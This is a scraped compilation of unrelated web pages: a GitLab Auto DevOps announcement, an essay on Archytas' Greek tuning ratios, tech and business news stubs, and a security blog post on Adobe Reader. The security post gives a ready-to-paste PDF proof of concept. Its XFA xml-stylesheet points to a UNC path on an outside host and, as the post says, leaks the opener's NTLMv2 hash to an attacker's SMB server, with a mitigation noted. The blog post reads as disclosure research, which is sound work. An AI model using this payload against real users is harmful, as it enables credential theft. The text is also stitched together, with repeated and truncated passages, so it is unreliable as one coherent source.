Pinpoint what happens – or doesn’t – in every interaction with text analytics that helps you understand complex conversations and prioritize key people, insights, and opportunities. Support your workflows, alerting, coaching, and other processes with Event Analytics and compound topics, which enable you to better understand how events unfold throughout an interaction.

Medallia's text analytics software tool provides actionable insights via customer and employee experience sentiment data analysis from reviews & comments.

2024-10-12 00:00:00

2024-05-01 00:00:00

medallia.com

medallia.com

https://about.gitlab.com/2018/09/10/auto-devops-enabled-by-default/

Auto DevOps will be enabled by default as part of GitLab’s 11.3 release

Daniel Gruesso

Auto DevOps was made generally available in GitLab’s 11.0 release and, while it has had great adoption, we want all of GitLab's users to take advantage of its great features. From Auto Build to Auto Monitoring, Auto DevOps brings valuable benefits out of the box. At GitLab, one of our product values is to default to on. When we introduce a new configurable feature we know to be of great value, we will default to ON so that everyone can benefit from it. While Auto DevOps supports projects using the most popular programming languages, there may be some specialized projects for which additional configuration is required. Therefore, before we enable it for everyone, we want to ensure we will not be running Auto DevOps pipelines for projects that are not supported. To that end, we will disable auto devops automatically if a pipeline fails. GitLab will notify the project owner of this attempt so they can make the necessary configuration changes to work with auto devops if desired. We will initially enable this feature gradually on gitlab.com and monitor its performance. Barring any issues, we will enable it as part of our 11.3 release for self-managed customers on September 22nd, 2018. We hope that everyone will benefit from the great features Auto DevOps brings. You can read more about Auto DevOps here.

GitLab 11.3 will bring the power of Auto DevOps to every user

2024-10-12 00:00:00

2018-09-10 00:00:00

article

gitlab.com

GitLab

http://blog.ruben.codes/2015/11/silent-push-notifications-on-google.html

http://www.technologyreview.com/computing/39925/?p1=A3

https://www.nytimes.com/2021/08/07/world/europe/spain-catalonia-cap-de-creus.html

http://www.recode.net/2016/5/20/11719660/symphony-iphone-app-soon

https://insert-script.blogspot.com/2019/01/adobe-reader-pdf-callback-via-xslt.html

Adobe Reader - PDF callback via XSLT stylesheet in XFA

Alex Inführ

I have seen on twitter that there is use for another PDF callback Proof-of-Concept in Adobe Reader. Last year a PDF file called "BadPDF" was created, which allowed to trigger a callback to an attacker controlled SMB server and leak the users NTMLv2 hash. The used technique was fixed by Adobe (CVE-2018-4993). As you are reading this blog post you can already guess that I discovered another callback mechanism. Sadly I have no cool name for my PDF... ;) Spoiler alert: It is not perfect but good enough for now. Tested Version: Adobe Acrobat Reader DC 19.010.20069 OS: Windows ### The callback: xml-stylesheet in XFA structure Once again the XML Form Architecture (XFA) structure helped. XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a Adobe Reader actually detects any http/https URLs specified in a I think the PoC should explain how the leak works (once again I used one of the many PDF templates of Ange Albertini) I could not find a way to actually get the specified XSLT sheet to be properly loaded. After the request is send (either via SMB or WebDAV) Adobe Reader always displays an "Access Denied" error. XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a *xml-stylesheet*does the trick.Adobe Reader actually detects any http/https URLs specified in a *xml-stylesheet*element and asks for the user's confirmation. This dialog can be simply bypassed by using UNC paths.I think the PoC should explain how the leak works (once again I used one of the many PDF templates of Ange Albertini) ### !Notes about the PoC! ### Proof-of-Concept (Copy & Paste ready) % a PDF file using an XFA % most whitespace can be removed (truncated to 570 bytes or so...) % Ange Albertini BSD Licence 2012 %PDF-1. % can be truncated to %PDF- 1 0 obj <<>> stream <?xml version="1.0" ?> <?xml-stylesheet href="\\example.com\share\whatever.xslt" type="text/xsl" ?> endstream endobj trailer << /Root << /AcroForm << /Fields [<< /T (0) /Kids [<< /Subtype /Widget /Rect [] /T () /FT /Btn >>] >>] /XFA 1 0 R >> /Pages <<>> >> >> ### SMB hashes It is also possible to use this callback to capture the NTMLv2 hash via the Responder tool from SpiderLabs. The following screenshot shows the output of the tool as soon as the PDF is opened by Adobe Reader: ### Mitigation option To prevent the callback from happening it is necessary to enable the "Protected View" in Adobe Reader. This option it is available in Edit -> Settings -> Security (Advanced) -> Protected View: Enable for all files. In case this setting is enabled Adobe Reader will freeze when the PoC is opened but no request is send. Any "normal" PDF will just open fine.

I have seen on twitter that there is use for another PDF callback Proof-of-Concept in Adobe Reader. Last year a PDF file called " BadPDF "...

2024-10-12 00:00:00

2019-01-26 00:00:00

blogspot.com

insert-script.blogspot.com

https://www.wsj.com/articles/coronavirus-is-different-almost-no-company-is-safe-11583064000

https://lareviewofbooks.org/article/the-emperor-and-the-empty-tomb-an-ancient-inscription-an-eccentric-scholar-and-the-human-need-to-touch-the-past/

http://svn.cometd.com/trunk/bayeux/bayeux.html

http://www.ex-tempore.org/ARCHYTAS/ARCHYTAS.html

**The Musical System of Archytas** Robert Erickson The music theory upon which our conceptions of ancient Greek music are based starts with Aristoxenus who flourished around 318 B.C. Very little has been preserved of the earlier music theory relating to the music of the Classic period of Greece, the music praised, criticized and endlessly discussed in the works of such writers as Plato, Aristophanes and Aristotle. If more music had been preserved this would have been no great loss. In this absence our knowledge is based mostly upon opinions and observations which are often vague and conflicting about technical matters. The *Orestes* fragment and the mathematical formulations by Philolaus, Plato and Archytas are bits of solid evidence floating in a sea of opinion. Archytas' ratios have been commented upon since antiquity (1) but their interrelationships have never been analyzed. I propose to show that Archytas' ratios present an interrelated intervallic system, and that the structure of the system offers valuable evidence about pre-Aristoxenian Greek music, especially about *harmonia* (2) and the technique of transposition, features which later were developed into complete systems of octave species and *tonoi*. (3) Archytas' ratios were preserved by Ptolemy (4), a set for each *genus*, as follows: Enharmonic: 28/27 36/36 5/4 Diatonic: 28/27 8/7 9//8 Chromatic: 28/27 243/224 32/27 Each set represents the intervals of a tetrachord. If two tetrachords are separated by a tone, the conventional disjunctive, an octave scale can be constructed: From A to c- in any of the above scales is the interval 7/6, (9/8 x 29/27 equals 7/6), a septimal minor third. (5) Therefore from F- down to an imagined lower D would be a 7/6 also. From A up to c in the enharmonic is a 6/5 minor third (9/8 x 28/27 equals 6/5)). Therefore from the imagined lower D up to F would be a 6/5 minor third too, and the fifths D to A and A to e would be constituted: 6/5 x 5/4 equals 3/2. (6) Tannery first suggested (7) that Archytas ratios should be approached from this point of view, and that the fifth D to A is divided by its harmonic mean F, the fourth A to d by its harmonic mean c-. Adopting Tannery's suggestion we are able to set out the following framework in musical notation: These calculations involving the harmonic mean place enharmonic *lichanos* (F) and *trite* (c-), and give an important clue to Archytas' other interval divisions too. Lichanos is the most sensitive tone in Greek tunings, for its placement determines the character of the largest interval in the tetrachord. The placement of *trite* is equally important to Archytas, for it creates both the 7/6 third and the *pyknon* interval 28//27, which appears in all three *genera*. Significantly the division of the fourth and fifth is by the harmonic mean. (8) From Archytas' writings this might well be expected, for it was he who renamed the subcontrary mean harmonic because of its use in music, and he is responsible for the proof that no supraparticular ratio can be divided into equal rational parts. (9) If superparticular ratios cannot thus be divided it follows that for Archytas the most important method of division is the harmonic. It appears that superparticular ratios were felt to produce "natural" musical intervals throughout the whole development of Greek theory from Pythagoras to Ptolemy. This conflict between Aristoxenus and the harmonists is really a quarrel between practicality and analytical precision. (10) When Pythagoras divided the octave he discovered the ratios for fourth and fifth; and these, 3/2 and 4/3, are superparticular. Hippasus and Philolaus show interest in superparticular ratios and the harmonic mean, and the attention paid to superparticular ratios and the harmonic mean, and the attention paid to superparticular ratios in the mathematical theory of irrationals has a background of practical music theory. (11) The interval system presented by Archytas' ratios harmonizes with his proof about the division of superparticular intervals, for all of his chief intervals are derived through the harmonic mean. Therefore, we may be sure that the framework D to A to d was a fully conscious theoretical creation. It is the consequence of Archytas' desire to extend the scope of harmonic division. The framework is blended with that of the usual two tetrachords separated by a disjunctive tone: E to A, tone, B to E. Together they make a structure either of two fifths, D to A to e, or tone/fourth,tone/fourth, D, E, to A, B to e. (See below.) This framework, already containing the higher d, can be made into a double system by the addition of G: E to A, B to e is the same pattern as D to G, A to d, only a tone higher. These seven tones are the "standing" tones of Archytas' double system. If diatonic and enharmonic are superimposed a new interval, the small second 10/9, is revealed: This important interval appears among the ratios (see Appendix B) of both Didymus and Ptolemy. Its appearance in the enharmonic/diatonic mixture above is the first hint that Archytas' ratios are somehow inter-related. By combining diatonic and chromatic, it is possible to follow the development of Archytas' idea. Ptolemy (12) tells us that Archytas said that he placed chromatic *lichanos* (F#) in the relationship 256/243 to diatonic *lichanos* (G). Here is what happens when, following that hint, Archytas' diatonic and chromatic *genera* are combined. The first scale below shows the combination within the usual framework; the second gives a new scale running from F# to f#. The scale which I have extracted in the Pythagorean scale, the most important and long-lived scale in music; (13) no doubt Archytas built his set of ratios in such a way as to make this tuning available, for his F# of the chromatic was by design calculated not from A but from G of the diatonic *genus*. Ptolemy disapproved but missed the point. Clearly there is more to these ratios than the numbers for the three *genera* alone. Already we have found two varieties of diatonic; and there are more: in all, three diatonics, three chromatics and three enharmonics, all verified by later usage. In addition there are a number of tunings probably important to Archytas but not confirmed by others. The chart below superimposes all three sets of ratios for an overview of the main tunings available in the system. In order to accommodate the various scales, the range has been extended. Remarks beside each scale note identical or similar tunings by other composers. These tunings are all listed in Appendix B. For the tunings of Aristoxenus, who calculated in distances rather that ratios I have used the cents equivalents worked out by Winnington-Ingram in his "Aristoxenus and the Intervals of Greek Music". The *pyknon*, referred to below is the group of narrow intervals such as E to F- to F or, if uncleft, E to F or F# to G. The system makes several other tetrachords available which, however, do not work out to be complete octave scales of two identical tetrachords. It is quite likely that they were intended by Archytas, and that they were used, for from what we know of practice, it was not unusual to mix tetrachords of various "shades" and *genera*. They all involve tetrachord *synnemenon*, using either B or B-. All are diatonic. I have not included any ratios for the much discussed Spondeion scale; (14) but two of Aristoxenus' chromatic "shades" are unaccounted for, and they may present two versions or approximations of some of the intervals of the Spondeion: Chromatic Malakon66 66 366Chromatic Meliolion75 75 348 Now there is a tetrachord among Archytas' ratios with cents measurements as follows: 49, 92, 357. The 357 cent interval falls between the 366 and 348 of Aristoxenus with less than 10 cents difference either way. Archytas' 49 cents comes nowhere near 66 cents or 75 cents, but Archytas' 49 plus 92 equals the interval 141 cents, and this is within 9 cents of Aristoxenus' 75 plus 75 cents equal to 150 cents. Archytas' tetrachord splits the difference between Aristoxenus' Chromatic *Malakon* and Chromatic *Hemiolion*, and there is a fair presumption that all three tetrachords represent a single type. The tetrachord below, using B- instead of B for tetrachord synnemenon, may represent the *Spondeion*, with its special intervals, *spondaismyus*, *sklysis* and *ekbole*, as mentioned by Aristides and Bacchuis. Winnington-Ingram points out that Bacchius illustrated these intervals using the same part of the scale we are considering, at the point of conjunction or disjunction of the tetrachords. (15) *Ekbole*: 5 dieses *Spondaismus*: 3 dieses *Eklysis*: 3 dieses In Aristoxenian terminology a *diesis* equals a "quarter-tone". Three-quarters of a tone equals about 148 cents. All of the main intervals in the Archytas system are derived through the harmonic mean. The large intervals are derived as follows (16): The small intervals are also a result of manipulation of the harmonic mean: The interval 243/224 is not superparticlar, and probably Archytas regarded it as a limma (literally "the rest") in the same way that 256/243 is a *limma*. Ptolemy criticized Archytas severely for this *"ekmelic*"interval (17) on the grounds that Archytas is measuring from *genus* to *genus* to make it and that it is no ratio. The interesting point, however, is that Archytas manages to divide that interval 243/224 into two parts, 49 cents and 92 cents. I believe the 92 cents part is the most significant, because it is auditorialy identical to 90 cents, the Pythagorean *limma* of 256/243. In effect Archytas makes it possible to begin tetrachords from either F or F# with a well known and traditional interval. This fact alone points toward a system. Coupled with the documentation by the tunings of other composers, especially Aristoxenus, I think we can be certain that Archytas' ratios were constructed in such a way that they made and were meant to make an interrelated tuning system. Archytas' System and the *Harmoniai* from Plato's *Republic* The famous discussion from Book III of the *Republic* includes mention of a number of *harmoniai*: Dorian, Phyrgian, Lydian, Mixolydian and Iastian. Music in these *harmoniai* is supposed to have strong psycho-physical effects. These effects, their, nature and power, have been the subject of speculation ever since antiquity. With the help of Archytas' system it is possible to reconstruct the actual sounds of the fourth century *harmoniai*. Fitting the *harmoniai* to the system will give us not only an excellent auditory impression of the sounds Plato heard - that would be worth something in itself - but show some of the reasons why Archytas might have invented his system. Plato's *harmoniai* were preserved by Aristides Quintilianus (18), as recipes (Dorian: tone, diesis, diesis, diton, tone diesis, diesis, ditone) and in letter notation. They are different from the octave scales of later Greek theory. Dorian and Phrygian have a range of a ninth (compare Archytas' framework), others less than an octave. Some omit one or more tones, and Iastian and Mixolydian have diatonic elements, even though the prevailing *genus* is enharmonic. Several of the *harmoniai* are said to be "*malakon*", an epithet later applied to "soft" tetrachords, such as those containing 8/7 and 7/6 tones rather than 9/8 tones. (19) One of the Lydians is called Syntonolydian, usually taken to mean high in pitch, or intense, or both. Another of the Lydians is called "*chalaros*" - "low and lax", or "slack". From these terms it appears that *harmoniai* may begin at various degrees of a tuning system. It may be only a coincidence that Plato's Dorian and Phyrgian together require a range of a ninth, and that the tuning system of his friend and colleague, Archytas, has a ninth for its framework. Could both have been following some sort of current practice? Such as the Iasti-Aioli tuning described below? At any rate it appears that Archytas has created a system in which a number of *harmoniai* can be played, at various degrees and in various shadings, and which permitted easy modulation by pitch degree and/or *genus* and "shade." Since Archytas' system and Plato's *harmoniai* are contemporary it seems reasonable to take them together to construct a model of fourth century *harmoniai* in a fourth century tuning system. (20) First the Iastian (Ionian), by way of example. Aristides recipe is *dieses*, *diesis*, *diton*, a three semitone interval (*trihemitone*) and a tone. He points out that "this scale was a tone less than the octave". His terms are Aristoxenian: a *diesis* is a quarter of a whole tone; a *ditone*, two whole tones; *trihemitone*, a tone and a half. Practically, the *ditone* is a "large third", either the Pythagorean major third or the 5/4 third. The *trihemitone* is any sort of minor third, narrow or wide. A diesis may vary from about 45 cents to something rather large. The dieses from Archytas' system are 28/27 and 36/35. The *dieses* make up the *pyknon*. The Iastian *harmonia* has a tetrachordal structure of two conjunct fourths. All of the variants in the example below preserve that structure, though the interior intervallic relationships may change with transposition. A certain "shade" of the Iastian is mentioned, *malakon*, and this variety of Iastian is especially identified with drinking parties and soft living. Plato considered it unfit for the ears of his warrior-trainees. I have included one each of diatonic and enharmonic forms of the Iastian for comparison. The reader may wonder which of the four enharmonics is the "right" tuning. My feeling is that all of those shown, and probably such others as could be gotten from the system would have been used, either for convenience or by design. The intonations change but the fundamental structure is identifiable. The Iastian enharmonic #4 is my candidate for the sort of *malakon* Plato was against, with its up to date 5/4 third and thoroughly unpythagorean upper tetrachord; its uncleft *pyknon* leans it toward the diatonic. Other Iastians are available in the system; I hope I have shown enough to indicate the scope of possible modulation. The significant point is that modulation by pitch degree often is accompanied by a shading of *genus*. The two types of modulation go together. All of Plato's harmoniai fit into Archytas' system on at least two scale degrees, some of them with a number of changes of *genus* and "shade." There are many more modulatory possibilities than I have shown below, with only two positions for each of the remaining *harmoniai*. From the internal structure of any *harmonia* the reader can easily work out which system degrees it can transpose to. Aristides gives the Dorian in this form. Later it runs from E to e. "High and "dirge-like". This lower tetrachord is chromatic. Compare below. The fact that the *harmoniai* can begin on various scale degrees brings up the question: are they primitive octave species? I think not, even though some significant correspondences appear. The seven octave species (see note #3) compare well with the *harmoniai* except for the beginning note of the Dorian. These pitch correspondences are striking, but should not be taken as proof that *harmoniai* were octave species. When theorists such as Aristoxenus set out to systematize scale theory it is possible either that the old *harmoniai* had been torn to tatters by modulation and chromaticism or that the intervallic relationships proper to any *harmonia* were a matter of melodic tradition. There is less direct relationship between the *harmoniai* and the later tonoi, but the concept of tones carries a connotation of a (theoretically) transposed system, and we can view Archytas' system as a congeries of systems beginning on B, C-, D, E, F-, F, F# etc., and integrated into a single whole. More than anything else this whole resembles one of those "close-packed" diagrams discussed by Aristoxenus. Unfortunately, everything we know about these "close-packed" diagrams comes from him, but what he says is tantalizing: And in dealing with the affinity between scales and regions of the voice we must not follow the Harmonists in their endeavor at compression, but aim rather at the intermodulation of scales, but considering in what keys the various scales must be set so as to admit of intermodulation. We have shown in a previous work that, though as a matter of fact some of the Harmonists have touched on this branch of our subject in a purely accidental way, in connection with their endeavour to exhibit a close-packed scheme of scales, yet there has been no general treatment of it by a single writer belonging to this school. This position of our subject may broadly be described as the part of the science of modulation concerned with melody. (21) Certain characteristics of Archytas' system harmonize with the theory of high and low tuning elucidated by Otto Gombesi (22): fairly large number of *harmoniai* can begin on either E or F-. However, there are several other "good" degrees, D, E, F-, and F#. The structure of the system is especially designed for Pythagorean shadings from F#. All in all the evidence shows that the *harmoniai* were neither embryonic octave species nor *tonoi*, even though certain characteristics of their behavior in what appears to be a "close-packed" system may have been significant for later developments. To get back to firmer ground, we can say that we have here a modulating system adapted to the fourth century *harmoniai*. This is implicit in the framework itself (refer back to page 89 - 90.) The fixed notes indicate a two *mese* system, but since beginnings may be made from a number of pitch degrees it is really a multiple-*mese* system. It allows any *harmonia* to be modulated by pitch degree, and, as shown above, the change of pitch degree may be accompanied by a change of "shade" or *genus*, depending upon the *harmonia* and the degree chosen. Much more art was involved that simple transposition by a fourth up or down. A rich modulatory technique must be assumed, and this is strongly supported by the contemporary literary evidence, where there are copious references to modulation and mixing of the *genera*. Plato's criticisms of the kitharists who mix all the *harmoniai* together and create a chromatic confusion are all the more instructive for being negative. (23) The patterns of such elaboration are built into Archytas' system, and it looks very much as though it were designed to accommodate the practice of those very musicians whose performances were so distasteful to Plato. This impression is strengthened by Ptolemy`s discussion of the practical tunings of the kitharists. Archytas' system resembles a number of the tunings used by those kitharists, and it corresponds most closely to Iasti-Aeoli, at the most favored system. The range of a ninth invites the thought that Archytas had in mind just such a tuning convention when he designed his ratios. By the time of Ptolemy the enharmonic had fallen out of fashion, and that is why Iasti-Aioli is oriented toward chromatic/diatonic. From Aristoxenus we know that the enharmonic was old-fashioned when he was writing his The significant parallels between Iasti-Aioli and Archytas - range, identity of tetrachords, modulating system are strong enough so that at the very least we may be sure that Archytas' ratios are numerical shorthand for a modulating tuning system. In both systems tetrachord relationships are ordered in such a way that a diatonic/chromatic tuning mix is procured. Archytas' system provides additionally a complete tuning basis for selected pairs of (sometimes different) tetrachords. Presumably players always tuned for From what has been said it is clear that I do not regard Archytas' system as a paper abstraction. That means that it would have to be tuned by an ordinary musician rather than a scientist. I believe it was fairly easy to tune, on say a lyre or a harp, only slightly harder than Pythagorean. Pythagorean is tuned by fifths and fourths, what the Greeks called "tuning by consonance". (24) *Harmonics*, and the fourth century literary evidence shows chromatic and diatonic as the "new sound" during Archytas' lifetime too.*genus* color, modulatory possibilities and convenience. In Archytas' time these patterns provided the materials from which various *harmoniai *were constructed. *Harmoniai* could be played from various pitch degrees and with certain modifications of "hardness" and "softness". The amount and variety of modulation presumably depended upon the number of pitches available on an instrument. Apparently much was possible on a nine-string lyre tuned in Iasti-Aioli. It is not unthinkable that, given the notorious conservatism of instrumental practice and technique, Ptolemy's Iasti-Aioli represents a tuning practice hundreds of years old, and that it existed in this form during Archytas lifetime. (25) For example, if one wished to tune the diatonic, E,F, G,A,B,C,D,E, one proceeded this way: This would produce the Pythagorean diatonic with limmas of 256/243 for half-steps, provided the player had tuned well. F# and G# could be added in the same manner: (B) c# F# (F#) It is likely that the tuning error was plus or minus more than four cents, since even on a monochord the error cannot be reduced further than that. (26) Archytas' diatonic could be tuned as follows : The player sets only one interval by ear, D to F-. Even so, he is able to use an *emmelic* interval - he never tunes a *pyknon* interval directly. From a practical point of view this is a most important consideration, for no man is going to be able to tune say a 19/18 interval. Humans are very good at octaves, fifths and fourth, able to tune a third in a triad to get rid of beats, but otherwise quite insensitive to the ratios of small intervals having large fraction ratios. To complete the system the player tunes to complete a Pythagorean diatonic scale: F#,G,A,B,c#,d,e,f#. Since G,A,B,d and e are already tuned he needs only to tune F# and c#. The best thing about this analysis of Archytas' ratios is that it has given us a way to reconstruct with certainty the actual sound of fourth century Greek music. With a little practice one ought to be able to compose other sources of Greek music, and this would be a valuable way to explore the possibilities of the system and its musical characteristics. The system in turn, might well help solve some problems of detail in the transcription and reconstruction of the antique musical fragments. In summary we find that an analysis of Archytas' ratios reveals: 1. A tuning system which structures modulation (a) by pitch (b) by genusor "shade"2. Which reflects practical music making (a) it is easy to tune (b) it makes available all the important intervals of Greek music 3. Which includes many of the tunings duplicated by later theorists. (a) Aristoxenus: 4 (b) Erastosthanes: 2 (c) Didymus: 1 (d) Ptolemy: 3 (e) Aristides Quintillianus: Spondeion.4. Which provides, with Plato's harmoniai, a theoretical model of thestructure of fourth century Greek Music. Practical, elegant in design, it is worthy of the ingenuity of the man who generalled a city, built a wooden dove that would fly, wrote musical and political theory and solved one of the great mathematical problems of antiquity, the duplication of the cube. This new knowledge gleaned from his ratios can be used to illuminate several dark places in the history of fourth century Greek music and music theory. Linked to other studies our whole view of ancient Greek music might be considerably widened. (San Francisco: February/March/April 1965) Appendix A - Intervals with their Equivalents in Cents 2/1 1200 7/6 267 13/12 139 3/2 702 8/7 231 16/15 112 4/3 498 9/8 204 19/18 94 81/64 408 10/9 182 256/243 90 5/4 386 11/10 165 20/19 89 6/5 316 12/11 151 28/27 63 32/27 294 243/224 141 36/35 49 Appendix B - Tuning Ratios From Antiquity Appendix C: 1. *Ptolemaios und Prophyrios uber die Musik*, Ingemar During, Goteborg, 1942, especially Chapters 13 and 14. Aristoxenus, *Harmonics*, ed. H.S. Macran, Oxford, 1902, 52 ff. *Aristoxenus and the Intervals of Greek Music*, R.P. Winnington-Ingram, C.Q. 26, 1932, pp. 203, 205, 206. *The Musical Scales of Plato's Republic*, J.F. Mountford, C.Q. 17, 1923. "The Harmonics of Ptolemy," J.F. Mountford, *Transactions of the American Philological Association,* LVII, 1926, p.81. Harmonielehre der Pythagorer, B.L. van der Waerden, Hermes 78, 1943, p.185. 2. A *harmonia* is fundamentally a tuning (Grove Dictionary) the word may include the meaning of "scale". A definition which is true to its meaning through Plato, and the sense in which the term will be used in this paper is: an ordered array of tones. See also *Musical Thought in Ancient Greece*, Edward A. Lippman, New York, 1964, Ch.I. 3. To Aristoxenus and Ptolemy octave species were octave segments cut successively from a two octave diatonic system; but species could also be chromatic or enharmonic. See Grove Dictionary p.775. The seven species of diatonic octaves are: B c d e f g a b Mixolydian c d e f g a b c 1Lydiand e f g a b c 1d1Phrygiane f g a b c 1d1e1Dorianf g a b c 1d1e1Hypolydiang a b c 1d1e1 f1g1Hypophrygiana b c 1d1e1 f1g1a1Hypodorian 4. Ptolemaios und Prophyrios uber die Musik, p.47. Ptolemy is our source for most of the ratios of antiquity. All of the ratios mentioned in this paper are given below in Appendix B. 5. This interval is our "blue third", head in Jazz and folk music. For a discussion of its use and characteristics see 6. Intervals are added together by multiplying their ratios. For convenience to the reader all the intervals mentioned in this paper and their equivalents in cents are listed in appendix A. 7. 8. Archytas' definition of the harmonic mean, Ancilla, Freeman, Oxford 1962: "by whatever part of itself the first term exceeds the second, the middle term exceeds the third by the same part of the third. In this proportion the ratio of the larger numbers is larger, and of the lower numbers less." e.g., 6,4,3; 6-4=2, 4-3=1, and 2:6=1:3; 6/4 is greater than 4/3. 9. Preserved by Boethius, Diels-Kranz A19. 10. Aristoxenus was the exception. His criticism of all his predecessors is based upon the conception of a "good enough" interval, and he was aware that more than proper tuning was involved in music. His recipes show that he accepted the same musical intervals - give or take a few cents - which are stated as ratios by others. See appendix B. 11. 12. 13. Until now the earliest complete statement of its ratios was thought to be by Plato in his 14. 15. "Aristoxenus and the Intervals of Greek Music," p.205. 16. Significantly there are ten intervals, using numbers up to ten, an elaboration of the original 17. Ptolemaios und Porhpyrios uber die Musik p.48. 18. Aristides Quintillianus, De Musica ed. R.P. Winnington-Ingram, Teubner texts, 1963. "Aristides Quintillianus," 19. Plato's 20. J.F. Mountford first applied Archytas' basic set of ratios to Plato's 21. 22. "New Light on Ancient Greek Music," O.Gombosi, Papers of the International Congress of Musicology, New York, 1939. 23. 24. Ptolemaios und Porphyrios uber die Musik, pp. 200-215, especially p.208.*Tonoi* and *octave species* are related. A *tonos* has the name of that species (of the octave) whose characteristic series of intervals it brings within a central range of pitch, for example the central octave of the Dorian tonos. It is reasonable to assume that the original purpose of the *tonoi* was to bring the species within this range, and that the species received their names, not as segments of the Great Perfect System, but as different series of intervals within the same range." *Grove*, p.776. *Tonoi* are sometimes called "transposition scales" in older literature, but Gombosi, "Key, Mode, Species", JASM, 4, 1951, has argued that *tonoi* are prior to species. The whole question is discussed later in this paper. *Report on Organization in Auditory Perception*, P.C. Boomsliter and Warren Creel, Albany, NY., 1962, and recorded examples accompanying the booklet. *Memoires Scientifiques*, III, M.P. Tannery, p.247. *Companion to the Pre-Socratic* Philosophers, K. Freeman, Oxford, 1959: Hippasus, p.86, Philolaus, p.224. For relations between theory of irrationals see "Theaetetus and the Theory of Numbers," A. Wasserstein, C.Q. 52, 1958, 172 ff. *Ptolemaios und Porphyrios über die Musik*, p.47. *Timaeus*, and a few scholars have even argued that the scale was invented by Plato himself. *Musical Scales of Plato's Republic*, J.F. Mountford. "The Spondaeion Scale," R.P. Winnington-Ingram, C.Q. 22, 1928. *Tetraktys* of the *Decad*. *Von der Musik*, Rudolph Schafke, Berlin, 1937, pp.192-3. *Republic* p.399. *The Rise of Music in the Ancient World*. C. Sachs, New York: 1943, p.212, 228. *Studies in Musical Terminology in Fifth Century Literature*, Ingemar During, Eranos 43, 1945, p.180. *harmoniai*. See his Musical scales of Plato's *harmoniai*. See his "Musical Scales of Plato's *Republic*". *Harmonics*, p.170. *Tonarten und Stimmungen der Antiken Musik*, Copenhagen, 1939, Otto Gomvosi. *Laws, *669; *Republic*, 397. See also During in *Studies in Musical Terminology*, for his translation of the Pherecrates fragment quoted in Pseudo-Plutarch. The attitudes expressed are those of the musically conservative party to which Plato belonged, and During dates the fragments to 410 B.C., at which time Plato was about 18 years old. He grew up hearing - and resisting - the new chromatic/diatonic practice. *Harmonics, 55.* 26. The best error on a monochord with a one meter string is about 4 cents, according to C.D. Adkins, *Theory and Practice of the Monochord*, University Microfilm 64-3344, Ann Arbor. For tuning ability by professional factory "fine tuners" who can tune within 2 cents only with a visual device, and then only in the middle octave of the piano, see JASA Vol.33 #5, p.582. In the experience of musicians, 2 cents is a distinguishable lower limit in the case of fourths, fifths and octaves. Other intervals, major and minor thirds, sixths, remain acceptable, if the musical situation permits, within a large cents range. Whole and half-tones may vary widely, again depending upon the musical situation. Many of the intervals discussed in this paper may be heard in our present day concert and popular music; the interval 7/6 is the "blue third"; 10/9 intervals are quite common, 8/7 somewhat rarer, but the Pythagorean third is as "natural" as our equal temperament third; as to small intervals, our non-keyboard players use all sizes, the 256/243 and 16/15 approximations being the most usual. Anyone may verify this for himself: tune some of the intervals you wish to study, or have them tuned by professional tuner. Then listen carefully to the actual intervals sung or played by musicians. Check back to the pre-tuned sounds.

2024-10-12 00:00:00

https://www.ft.com/content/b7a21a16-6a1f-11ea-800d-da70cff6e4d3

US drugmaker doubled price on potential coronavirus treatment

US drugmaker doubled price on potential coronavirus treatment was $468 now $279 for your first year, equivalent to $23.25 per month. Make up your own mind. Build robust opinions with the FT’s trusted journalism. Take this offer before 24 October. Then $75 per month. Complete digital access to quality FT journalism. Cancel anytime during your trial. Complete digital access to quality FT journalism with expert analysis from industry leaders. Pay a year upfront and save 20%. FT newspaper delivered Monday-Saturday, plus FT Digital Edition delivered to your device Monday-Saturday. Terms & Conditions apply See why over a million readers pay to read the Financial Times.

2024-10-12 00:00:00

2024-01-01 00:00:00

website

Financial Times

https://pingcap.github.io/blog/2017/08/15/multi-raft/

https://moviepasstheaters.com/

http://www.economist.com/node/16638391?story_id=16638391&fsrc=rss

In search of serendipity

Business | Schumpeter # In search of serendipity ## Success in business increasingly depends on chance encounters | This article appeared in the Business section of the print edition under the headline “In search of serendipity” ## Discover more ### Sir Jim Ratcliffe, chemicals magnate turned sports mogul The British billionaire is buying up teams from sailing to football to cycling ### Masayoshi Son is back in Silicon Valley—and late to the AI race This isn’t the first time the Japanese tech investor has missed the hot new thing ### When workplace bonuses backfire The gelignite of incentives ### China is writing the world’s technology rules It is setting standards for everything from 6G to quantum computing ### Can Mytheresa make luxury e-commerce a success? It reckons it can succeed where Richemont has failed ### Ratan Tata, a consequential and beloved figure in Indian business He reshaped one of India’s most successful conglomerates

Success in business increasingly depends on chance encounters

2024-10-12 00:00:00

2010-07-22 00:00:00

Article

economist.com

The Economist

http://stackoverflow.com/questions/3737139/reference-what-does-this-symbol-mean-in-php/31298778#31298778

http://techcrunch.com/2011/12/13/chat-service-meebo-launches-new-version-of-site-designed-around-competitive-sharing/

Chat Service Meebo Launches New Version Of Site Designed Around Competitive Sharing (!) | TechCrunch

Eric Eldon

You probably know Meebo as a service that lets you easily chat with friends across different IM services, but the company is now rolling out a new version of it’s site that’s designed around sharing. Think competitive sharing, like who can get the most traffic from their articles. It’s a big switch from the former Meebo Messenger IM site (which you can still find here). I’ve been playing around with it, and here are some initial impressions. It’s like a cross between Twitter and Klout. The new user flow guides you to add a bookmarklet to your browser, and instructs you to use it to share any link you find on the web. The terminology is “check in,” as if sharing a link is like checking in to a physical location, I guess. There are options to share it with Facebook and Twitter friends or to other Meebo users. After that, you can look at the new site to see how many people are clicking through based on your share. You can also see how many people are following and how many people you’re following. There’s also a history of everything you’ve shared. And if you follow friends on the service, you’ll be able to see their scores and compare yourselves to them. The Meebo Bar is also getting the check in button, chief executive Seth Sternberg tells me today. The bar, a feature that web site owners add to the bottom of their sites to let users chat and share their content, will be a key way for this service to spread. It already has 100 million unique users in the US, according to comScore. You can see an example of it live now at philly.com. The bar is also now inside of the new Meebo site, too, so you can chat about your scores with friends. The big plan here is for Meebo to become more of a central social repository for all the things you’re sharing across the web. You’d still use Facebook and/or Twitter as normal, but this site will help you track how much people actually look at what you’re sharing. It’s sort of like how web sites use Google Analytics, but for individual users in social services. The big new web site isn’t the only news out today. Sternberg has a blog post up about the change, in which he discloses that the company is making revenue in the “mid 8 figure zone.” Sternberg emphasizes to me that this release is the “.5 version” of the new Meebo site, and that we should expect a bunch more releases next year. So let the backlash among existing users begin as this big experiment in competitive sharing evolves.

